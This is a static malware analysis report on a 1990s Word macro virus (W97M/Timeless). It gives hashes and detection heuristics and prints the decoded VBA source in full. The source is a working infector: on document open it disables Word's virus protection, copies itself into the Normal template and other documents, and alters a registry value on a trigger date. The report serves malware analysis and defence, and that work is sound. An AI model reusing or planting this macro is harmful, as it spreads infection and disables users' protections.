Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 41b778484d7be63c…

MALICIOUS

Office (OLE)

27.0 KB Created: 2001-09-02 20:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2ad0db551cb6c2c8c48df2a4430780e8 SHA-1: a231e82d34cf8ddf28d653c72e27321d1d7632c4 SHA-256: 41b778484d7be63c6938f5cb25c9e095b5f0bcaefc45342cd5664d9395b6b993
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Office document contains VBA macros, specifically a Document_Open macro designed to infect the Normal template and potentially other documents. The macro attempts to copy its code into the Normal template, indicating a persistence or spreading mechanism. While the specific payload is not directly executed or observable from the provided evidence, the presence of the macro and its infection routine strongly suggests malicious intent, likely as a downloader or part of a broader phishing campaign.

Heuristics 3

  • ClamAV: Doc.Trojan.Inadd-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Inadd-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1543 bytes
SHA-256: 9a5dc13c56669179e146c03ccea611241e7e20bc4bbdf2118ac369f23d235d4f
Detection
ClamAV: Doc.Trojan.Inadd-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

End Sub

Private Sub Document_Open()
On Error Resume Next

Options.VirusProtection = (Rnd * 0)
Options.SaveNormalPrompt = (Rnd * 0)

If MacroContainer.FullName = NormalTemplate.FullName Then Set Infect = ActiveDocument.VBProject.vbcomponents(1).codemodule: SaveIt = 1
If MacroContainer.FullName = ActiveDocument.FullName Then Set Infect = NormalTemplate.VBProject.vbcomponents(1).codemodule

If Infect.countoflines < 1 Then Infect.insertlines 1, MacroContainer.VBProject.vbcomponents(1).codemodule.lines(1, MacroContainer.VBProject.vbcomponents(1).codemodule.countoflines)
If SaveIt = 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, Fileformat:=wdDocument
ActiveDocument.Saved = True

If Day(Now) = 28 And Month(Now) = 5 Then System.PrivateProfileString("", "HKEY_USERS\.Default\Control Panel\International ", "sTimeformat") = "": Application.UserName = "Timeless Phenomenon"

End Sub

Private Sub document_new()
Set NormalTD = NormalTemplate.VBProject.vbcomponents(1).codemodule
Set ActiveTD = ActiveDocument.VBProject.vbcomponents(1).codemodule

ActiveTD.insertlines 1, NormalTD.lines(1, NormalTD.countoflines)
ActiveDocument.Saved = True

End Sub

'W97M/Timeless by e-

Private Sub ScrollBar1_Change()

End Sub